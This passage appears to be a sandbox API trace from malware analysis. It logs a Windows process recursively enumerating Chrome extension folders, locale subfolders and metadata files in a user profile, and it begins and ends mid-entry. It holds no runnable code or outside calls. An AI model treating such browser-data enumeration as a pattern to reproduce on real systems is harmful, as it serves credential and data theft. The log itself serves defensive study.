ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0274.043] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0274.043] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0274.043] GetProcessHeap () returned 0x550000 [0274.043] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0274.043] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0274.044] GetProcessHeap () returned 0x550000 [0274.044] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0274.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0274.044] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.044] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0274.044] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0274.044] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0274.044] GetProcessHeap () returned 0x550000 [0274.044] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0274.044] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0274.044] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0274.044] GetProcessHeap () returned 0x550000 [0274.044] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0274.044] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0274.045] GetProcessHeap () returned 0x550000 [0274.045] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0274.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0274.045] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.045] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628aed00, ftLastWriteTime.dwHighDateTime=0x1d0f5b2, nFileSizeHigh=0x0, nFileSizeLow=0x2769, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0274.045] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628aed00, ftLastWriteTime.dwHighDateTime=0x1d0f5b2, nFileSizeHigh=0x0, nFileSizeLow=0x2769, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0 [0274.045] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0274.045] GetProcessHeap () returned 0x550000 [0274.045] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0274.045] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0 [0274.045] FindClose (in: hFindFile=0x6399c8 | out: hFindFile=0x6399c8) returned 1 [0274.045] GetProcessHeap () returned 0x550000 [0274.045] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0274.045] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.2.8_0", cAlternateFileName="4278E1~1.8_0")) returned 0 [0274.045] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0274.046] GetProcessHeap () returned 0x550000 [0274.046] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0274.048] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="felcaaldnbdncclmgdcncolpebgiejap", cAlternateFileName="FELCAA~1")) returned 1 [0274.048] GetProcessHeap () returned 0x550000 [0274.048] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0274.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0274.132] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.132] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1_0", cAlternateFileName="")) returned 1 [0274.133] GetProcessHeap () returned 0x550000 [0274.133] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0274.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0274.314] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.315] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84234950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd47, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1 [0274.315] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84239770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1 [0274.315] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8423be80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8423e590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="MAIN~1.HTM")) returned 1 [0274.315] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84240ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84240ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0274.315] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x840205b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84245ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844aa770, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0274.315] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0274.315] GetProcessHeap () returned 0x550000 [0274.315] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0274.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0274.458] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.458] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0274.458] GetProcessHeap () returned 0x550000 [0274.458] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0274.459] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0274.459] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.459] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8403b360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0274.459] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8403b360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0274.459] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0274.460] GetProcessHeap () returned 0x550000 [0274.460] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0274.460] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84056110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84056110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0274.460] GetProcessHeap () returned 0x550000 [0274.460] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0274.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84056110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84056110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.164] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84056110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84056110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.164] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84056110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84058820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.164] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84056110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84058820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.164] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.164] GetProcessHeap () returned 0x550000 [0275.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.165] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84067280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0275.165] GetProcessHeap () returned 0x550000 [0275.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, 